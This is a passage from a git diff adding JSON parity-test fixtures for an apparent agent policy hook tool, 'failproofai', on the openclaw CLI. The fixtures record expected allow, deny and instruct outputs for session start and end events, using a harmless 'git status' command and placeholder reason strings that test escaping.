"tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..0ec1ac7f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..db100914 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..69255004 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..d98ebeeb --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b2eda34e --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..31d22a27 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..2e81b8c5 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-with-reason", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0adf7d70 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..640f5030 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked session end by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-present__one-policy.json new file mode 100644 index 00000000..e87bec42 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-present__two-policies.json new file mode 100644 index 00000000..b018ca7c --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "deny", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..2351d83f --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..ed01a550 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..abf5dfd3 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5574cf10 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionEnd/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "instruct", + "event": "SessionEnd", + "input": { + "event_type": "SessionEnd", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionEnd", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionEnd", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"reason\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..3d8b5579 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..54390694 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..9a69b0ab --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "openclaw", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..31996324 --- /dev/null +++ b/__tests__/parity/fixtures/openclaw/SessionStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "openclaw", + "decision_kind": "allow-silent", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": 